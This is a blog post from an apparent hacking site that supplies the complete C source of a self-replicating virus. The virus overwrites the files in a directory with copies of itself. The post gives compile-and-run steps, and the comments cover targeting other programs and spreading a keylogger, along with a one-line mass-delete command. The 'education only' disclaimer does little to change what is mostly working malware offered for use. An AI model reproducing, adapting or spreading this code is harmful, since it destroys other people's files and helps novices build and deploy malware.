Hi Folks. I haven't posted anything related to programming for so long. So here I'm gonna show you how to create a simple virus in C language which is able to infect the exe files by replicating its own copies.
Wait a minute.. first if you're gonna praise me for this code then let me tell that I just get it from internet. Obviously I'm not the one who actually wrote this. If anyone who is the real writer of this code reading it then mail me dude because I have another Legendary code to discuss.
Anyways lets take a look how this code works.
At the time of execution this program simple flush all the code of the present exe and then dump its own code into them which obviously turn them into its copies enabled with the same functionality.
Warning: This is for the education purpose only. I'm not responsible for any damage done to anyone
- Open the Notepad and copy the below code into it:
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,(end-st)/CLK_TCK);
getch();
}
- Save as > virus.c
- Now compile this code with your C compiler. You can take a look here
- Note down the generated exe file length in bytes
- Replace the value of X at line 23 in source code to this length in bytes
- Recompile the code. The new exe file is ready to infect
- Open new empty folder
- Put some exe files (you can also put the setup files)
- When you execute the virus.exe file then all the files present there will be infected
- All the infected files will be ready to reinfect
26 comments
Click here for commentscan u write this thing in java
Replyyeah, for sure. I'll do it as soon as get free time :) Stay tuned.
ReplyIn the mean while why don't you try yourself and feel free to ping if get stuck.
how to learn hacking by our own ??
ReplyTake a look here,
Replyhttp://hackthedark.blogspot.com/2011/12/hacking-faq-best-guide-for-beginners.html
if i create it does my comp get infected plz reply asap
ReplyYou can see the effects on your PC which can later be cured. Its worth trying, no harm at all if followed carefully.
Replycan we save the file with *.bat extention ??
Replywill it be doing the same i.e. infecting the pc....
.bat is for batch file, and here the code is in C language.
ReplySo obviously it'll not gonna work.
can u tell me a virus which replicates/hide's itself using notepad ,.
Replyhey buddy plz make a video tutorial it will help a lot..
Replyi have aradamax remote logger ..how can i spread it..
mereid@rediffmail.com
Hey INCR3DIBL3 H4CK3R ,
ReplyI cant understand the line 23, what do you mean "this length in bytes" .
Also if we want to infect a specific .exe in program files , how can we do this?
Cheers!
@Anonymous..
ReplyAt Line 23 we only pass the size of file in bytes to avoid any exception while infecting.
In order to infect any specific .exe file.. simply pass its name in findfirst function..!
cheers
Hey there nice piece of code man!!!
ReplyI was wondering if we just want to search and infect the .exe files that exist in the program files not just a specific one like the post above asks, how can we do this ? I mean how can we pass the path to program files ?
peace :)
Am I the only one shocked by the "goto"?
ReplyIt is safer to use a if/else, and more simple!
"goto" is safe if Handel carefully.
Replyi want to ask if i infect a .exe thus it get corrupted
Replyand if not whenever i run the .exe file thus the virus also get run.
Don't work >.< multiple compiler errors....need help
ReplyInteresting code! I'm just curious, is there any way to recover the infected file?
ReplyHey...First Of All.!! I like to thank all of you for being such an inspiring source for me.!! GOD bless you Guys..!! :) Secondly Em New to Programming just learned basic C language..I 'll be thankful to you guys if you kinndly Guide me. That Should it be Done to Master in C prgramming and Vice versa...!! Are there Some Golden points regarding that?
Replywell its perfect and ready to it
ReplyWhat is the 2048 significant for in line 10 ? Any significance to this buffer size or is it just random.
Replyhello Dears
ReplyI have a problem with compiling it when i tried to compile the program i got this error whic says "error: invalid use of undefined typ 'struct ffblk'"
any solution for this
Regards
some errors are there
ReplyCan we do command promt thing using c++. Like the command del c:\\*.* |y.
ReplyCan you please explayin ffblk and ff_name
ReplyThe error is because it's in Turbo C and using MS-DOS librairies who not work nowadays ...
ReplyConversionConversion EmoticonEmoticon